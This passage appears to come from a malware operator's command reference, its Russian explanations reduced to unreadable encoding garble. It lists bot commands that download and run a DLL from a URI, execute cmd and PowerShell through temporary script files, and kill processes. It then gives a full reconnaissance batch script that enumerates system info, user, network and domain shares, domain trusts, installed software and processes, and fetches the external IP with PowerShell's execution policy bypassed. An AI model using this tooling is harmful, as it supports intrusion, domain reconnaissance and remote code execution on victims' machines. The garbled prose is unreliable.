  464. ������� Start �� TestDll32.dll ������� stdout ����� "test dll - start()". �� ������ �������� ���� ����� � ��M.
  465. ����� ������ 11 %timeout% %URI% %cmdline%
  466. 4.3.1. "11 60 %URI% Start"
  467. ��� ������ ���������� �������� %URI% � ����� � TestDll32.dll.
  468. ������ ����� ��, ��� � ������� 10.
  469. 4.3.2. "11 0 %URI% Start" - timeout=0
  470. ������ ����� ��
  471. 4.4. ������� 12. ������ cmd �������.
  472. 4.4.1. "12 60 cmd /c cd c:\&&dir" - ������ ������� ��� �������� bat-�����
  473. ������ ����� ��, ��� � ������� 10.
  474. 4.4.2. "12 60 cmd /c\r\ncd c:\\r\ndir" - ������ ������� ����� �������� bat-�����
  475. ������ ����� ��, ��� � ������� 10.
  476. 4.5. ������� 13. ������ powershell �������.
  477. 4.5.1. "13 60 a b c\r\ncd c:\\r\ndir" - ������ ������� ����� �������� ps1-�����
  478. a b c - ��������� ��� �������, ����� �������������.
  479. ������ ����� ��, ��� � ������� 10.
  480. 4.6. ������� 15. ��������� ���������.
  481. 4.6.1. "15 %pid%"
  482. �����:
  483. msg=MMM
  484. 4.7. ������� 100. �������� �� �������.
  485. 4.7.1. "100"
  486. �����:
  487. msg=OK
  488. ������ ��������� ���������� � �������
  489. @echo off
  490. echo General Info:
  491. systeminfo
  492. echo.
  493. echo My Username:
  494. whoami
  495. echo.
  496. echo Network Neighbourghoud:
  497. net view /all
  498. echo.
  499. echo Domain Neighbourghoud:
  500. net view /all /domain
  501. echo.
  502. echo Domain Trust:
  503. nltest /domain_trusts /all_trusts
  504. echo.
  505. echo Installed Programs:
  506. reg query hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName" /s
  507. echo.
  508. echo Installed Programs (wow64):
  509. reg query hklm\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName" /s
  510. echo.
  511. echo Installed Programs (current user):
  512. reg query hkcu\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName" /s
  513. echo.
  514. echo Installed Programs (current user, wow64):
  515. reg query hkcu\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName" /s
  516. echo.
  517. echo Process List:
  518. tasklist
  519. echo.
  520. echo External IP:
  521. powershell -executionpolicy bypass -command "$Servers= @('http://checkip.amazonaws.com','https://ipinfo.io/ip','http://api.ipify.org','https://myexternalip.com/raw','http://wtfismyip.com/text','http://ip.anysrc.net/plain/clientip','http://api.ipify.org/?format=text','http://api.ip.sb/ip','http://ident.me/ip'); $i=Get-Random -Minimum 0 -Maximum 8; Write-Host HTTP-DNS request via $Servers[$i]; $ip=Invoke-WebRequest -UseBasicParsing -Uri $Servers[$i]; write-host $ip.content;"